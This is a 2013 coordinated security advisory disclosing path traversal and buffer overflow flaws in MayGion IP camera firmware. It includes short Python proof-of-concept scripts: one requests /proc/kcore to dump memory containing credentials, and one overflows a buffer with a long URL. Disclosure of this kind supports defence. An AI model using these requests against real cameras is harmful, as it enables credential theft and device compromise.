MayGion IP Cameras multiple vulnerabilities



1. *Advisory Information*



Title: MayGion IP Cameras multiple vulnerabilities

Advisory ID: CORE-2013-0322

Advisory URL:

http://www.coresecurity.com/advisories/maygion-IP-cameras-multiple-vulnerabilities

Date published: 2013-05-28

Date of last update: 2013-05-28

Vendors contacted: MayGion

Release mode: Coordinated release



2. *Vulnerability Information*



Class: Path traversal [CWE-22], Buffer overflow [CWE-119]

Impact: Code execution, Security bypass

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2013-1604, CVE-2013-1605



3. *Vulnerability Description*



Multiple vulnerabilities have been found in MayGion IP cameras [1] based

on firmware v09.27 and below, that could allow an unauthenticated remote

attacker:



   1. [CVE-2013-1604] to dump the camera's memory and retrieve user

credentials,

   2. [CVE-2013-1605] to execute arbitrary code.



4. *Vulnerable Packages*



   . MayGion IP cameras based on firmware 2011.27.09.

   . Other firmware versions are probably affected too but they were not

checked.



5. *Non-Vulnerable Packages*



   . H.264 ipcam firmware 2013.04.22.



6. *Credits*



These vulnerabilities were discovered and researched by Nahuel Riva and

Francisco Falcon from Core Exploit Writers Team.



7. *Technical Description / Proof of Concept Code*



7.1. *User Credentials Leaked via Path Traversal*



[CVE-2013-1604] The following Python code exploits a path traversal and

dumps the camera's memory. Valid user credentials can be extracted from

this memory dump by an unauthenticated remote attacker.



/-----

import httplib



conn = httplib.HTTPConnection("192.168.100.1")

conn.request("GET", "/../../../../../../../../../proc/kcore")

resp = conn.getresponse()

data = resp.read()

conn.close()

-----/



7.2. *Buffer overflow*



[CVE-2013-1605] The following Python script can be used to trigger the

vulnerability without authentication. As a result, the Instruction

Pointer register (IP) will be overwritten with 0x61616161, which is a

typical buffer overrun condition.



/-----

import httplib



conn = httplib.HTTPConnection("192.168.100.1")

conn.request("GET", "/" + "A" * 3000 + ".html")

resp = conn.getresponse()

data = resp.read()

conn.close()

-----/
